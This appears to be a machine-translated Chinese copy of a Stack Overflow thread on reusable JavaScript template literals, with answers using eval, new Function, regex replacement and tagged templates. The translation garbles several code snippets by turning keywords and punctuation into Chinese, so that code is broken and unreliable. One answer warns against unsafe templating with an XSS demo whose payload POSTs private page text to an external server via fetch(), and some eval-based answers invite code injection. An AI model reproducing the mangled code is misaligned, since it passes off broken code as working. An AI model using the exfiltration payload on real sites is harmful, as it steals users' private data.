const fillTemplate =(模板，值)=> { 模板= template.replace (/(?<=\${)\ w + (? =}) / g, v = >“。”+ v); 返回功能。应用(这个,””、“返回”模板“+ +”;“])打电话给(值); }; console.log(fillTemplate("The man ${man}是${brother}的兄弟"，{man: "John"，兄弟:"Peter"})); //约翰是彼得的兄弟

我对输入这个需要额外的冗余感到恼火。所以我还添加了regex来将。a这样的变量展开为这个。a。

解决方案:

const interp = template => _thisObj =>
function() {
    return template.replace(/\${([^}]*)}/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
}.call(_thisObj);

这样使用:

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!

UPDATED:下面的答案仅限于单个变量名，因此，'Result ${a+b}'这样的模板在这种情况下无效。然而，你总是可以使用模板值:

format("This is a test: ${a_b}", {a_b: a+b});

最初的回答:

基于之前的答案，但创建了一个更“友好”的实用函数:

var format = (template, params) => {
    let tpl = template.replace(/\${(?!this\.)/g, "${this.");
    let tpl_func = new Function(`return \`${tpl}\``);

    return tpl_func.call(params);
}

你可以像这样开具发票:

format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});

结果字符串应该是:

'This is a test: Hola, second param: Hi'

如果你使用的是Angular，你可以像下面这样使用@ngx-translate/core包:

import { TranslateDefaultParser } from '@ngx-translate/core';

export class SomeClass {
    public parser = new TranslateDefaultParser();
    test() {
        // outputs "This is my great reusable template!"
        this.parser.interpolate('This is my {{expletive}} reusable template!', { expletive: 'great' });
    }
    ...
}

是的，你可以通过解析你的字符串模板作为JS函数(或eval) -但这是不建议的，允许XSS攻击

// unsafe string-template function const fillTemplate = function(templateString, templateVars){ return new Function("return `"+templateString +"`;").call(templateVars); } function parseString() { // Example malicious string which will 'hack' fillTemplate function var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`"; var templateData = {Id:1234, User:22}; var result = fillTemplate(evilTemplate, templateData); console.log(result); alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`); } #mydiv { background: red; margin: 20px} .btn { margin: 20px; padding: 20px; } <pre> CASE: system allow users to use 'templates' and use fillTemplate function to put variables into that templates Then backend save templates in DB and show them to other users... Some bad user/hacker can then prepare malicious template with JS code... and when other logged users "see" that malicious template (e.g. by "Click me!" in this example), then it can read some information from their current page with private content and send it to external server. Or in worst case, that malicious template can send some authorized "action" request to the backend... (like e.g. action which delete some user content or change his name etc.). In case when logged user was Admin then action can be even more devastating (like delete user etc.) </pre> <div id='mydiv'> Private content of some user </div> <div id="msg"></div> <button class="btn" onclick="parseString()">Click me! :)</button>

相反，你可以安全地以如下方式动态地将对象obj字段插入模板str

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

让注入= (str, obj) = > str.replace (/\${(.*?)}/ g (x, g) = > obj [g]); //——test—— //对象中的参数 let t1 = '我的名字是${name}，我是${age}。我哥哥的名字也是${name}.'; let r1 = inject(t1， {name: 'JOHN'，年龄:23}); console.log(“对象:r1); //数组中的参数 let t2 = " ${0}的值在${2}数组中，${1}的值为${0}。" let r2 = inject(t2， ['A,B,C'， 666， 'BIG']); console.log("ARRAY:"， r2);

我遗漏了什么吗?是否有一个[好]方法来使一个可重用的模板文字?

也许我遗漏了一些东西，因为我对这个问题的解决方案对我来说太明显了，以至于我很惊讶没有人在这样一个古老的问题中写下这个答案。

对于这个问题，我几乎只有一句话:

function defer([first, ...rest]) {
  return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}

这是所有。当我想重用一个模板并推迟替换的解析时，我只做:

function defer([first, ...rest]) { return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first); } t = defer`My template is: ${null} and ${null}`; a = t('simple', 'reusable'); // 'My template is: simple and reusable' b = t('obvious', 'late to the party'); // 'My template is: obvious and late to the party' c = t(null); // 'My template is: null and undefined' d = defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false' console.log(a + "\n" + b + "\n" + c + "\n" + d + "\n");

应用此标记将返回一个'函数'(而不是'字符串')，该函数将忽略传递给字面量的任何参数。然后可以稍后用新参数调用它。如果一个参数没有相应的替换，它就变成了“undefined”。

扩展的回答

这段简单的代码是功能性的，但是如果您需要更详细的行为，可以应用相同的逻辑，并且有无限的可能性。你可以:

利用原始参数:

您可以在结构中存储传递给文字的原始值，并在应用模板时以创造性的方式使用它们。它们可以成为标志、类型验证器、函数等。下面是一个使用它们作为默认值的例子:

function deferWithDefaults([first，…，…默认值){ 返回(…values) => rest。Reduce ((acc, curr, i) => { 返回acc + (i < values。长度呢?值[i]: defaults[i]) + curr; },第一); ｝ 我的模板是:${'extendable'}和${'versatile'}; A = t('awesome'); // '我的模板是:awesome and versatile' console.log(一个);

写一个模板工厂:

通过将此逻辑包装在一个函数中，该函数期望作为参数的自定义函数可以应用于约简(当连接模板字面量的片段时)，并返回具有自定义行为的新模板。

然后，你可以，例如，编写模板，自动转义或清除参数时，编写嵌入式html, css, sql, bash…

使用这个naïve(我重复一遍，naïve!) sql模板，我们可以构建这样的查询:

const createTemplate = fn => function (strings, ...defaults) { const [first, ...rest] = strings; return (...values) => rest.reduce((acc, curr, i) => { return acc + fn(values[i], defaults[i]) + curr; }, first); }; function sqlSanitize(token, tag) { // this is a gross simplification, don't use in production. const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/ .test(name) ? `"${name.replace(/"/g, '""')}"` : name); const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value); switch (tag) { case 'table': return quoteName(token); case 'columns': return token.map(quoteName); case 'row': return token.map(quoteValue); default: return token; } } const sql = createTemplate(sqlSanitize); q = sql`INSERT INTO ${'table'} (${'columns'}) ... VALUES (${'row'});` a = q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true]) // `INSERT INTO user (id,"user name","is""Staff""?") // VALUES (1,'O''neil',true);` console.log(a);

接受命名参数进行替换:基于已经给出的内容，这是一个不那么困难的练习。在另一个答案中有一个实现。 使返回对象的行为像一个“字符串”:嗯，这是有争议的，但可能会导致有趣的结果。在另一个答案中。 解析调用站点全局命名空间中的参数:

我给你，可重用的模板文字

这是OP展示的附录，使用了邪恶的命令，我的意思是eval。这可以在没有eval的情况下完成，只需将传递的变量名搜索到全局(或窗口)对象中即可。我不演示怎么做，因为我不喜欢它。闭包是正确的选择。